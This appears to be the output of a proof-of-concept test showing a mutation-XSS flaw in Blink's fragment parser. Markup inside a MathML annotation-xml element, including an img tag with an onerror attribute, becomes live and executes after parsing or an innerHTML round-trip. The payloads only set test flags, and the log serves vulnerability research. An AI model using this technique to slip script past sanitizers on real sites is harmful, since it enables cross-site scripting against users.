=== annotation-xml fragment-context HTMLStackItem attribute drop ===
[A] fragment parse into <annotation-xml encoding="text/html">
  ax children:
    <style> ns=http://www.w3.org/1998/Math/MathML ctor=MathMLElement
        textContent=""
    <img> ns=http://www.w3.org/1999/xhtml ctor=HTMLImageElement
  style namespaceURI : http://www.w3.org/1998/Math/MathML
  img element        : HTMLImageElement
  img namespaceURI   : http://www.w3.org/1999/xhtml
  img onerror attr   : window.__frag_fired=1
  EXPECTED (spec)    : <style> in HTML ns, RAWTEXT body, no <img> element
  ACTUAL  (Blink)    : <style> in MathML ns, live HTMLImageElement child
[B] document parse of identical bytes (reference / spec-correct path)
  doc_ax children:
    <style> ns=http://www.w3.org/1999/xhtml ctor=HTMLStyleElement
        textContent="<img src=x onerror=window.__doc_fired=1>"
  img element        : null
[C] round-trip: rt_ax.innerHTML = rt_ax.innerHTML
  before:
    rt_ax children:
    <style> ns=http://www.w3.org/1999/xhtml ctor=HTMLStyleElement
        textContent="/*<img src=x onerror=window.__rt_fired=1>*/"
    img element      : null
  after:
    rt_ax children:
    <style> ns=http://www.w3.org/1998/Math/MathML ctor=MathMLElement
        textContent="/*"
    <img> ns=http://www.w3.org/1999/xhtml ctor=HTMLImageElement
    img element      : HTMLImageElement
    img onerror attr : window.__rt_fired=1
--- onerror execution ---
  [A] fragment-parse onerror fired : true
  [B] document-parse onerror fired : false
  [C] round-trip   onerror fired   : true
--- checks ---
  fragment <style> placed in MathML ns      : true
  fragment produced live HTMLImageElement   : true
  document parse produced NO <img> element  : true
  innerHTML round-trip is non-idempotent    : true
  fragment onerror executed                 : true
  round-trip onerror executed               : true
RESULT: VULNERABLE
  Fragment parser drops the context element's encoding attribute,
  diverging from the document parser and the WHATWG spec.
  innerHTML round-trip materializes live script-bearing elements
  from previously inert <style> text (mXSS primitive).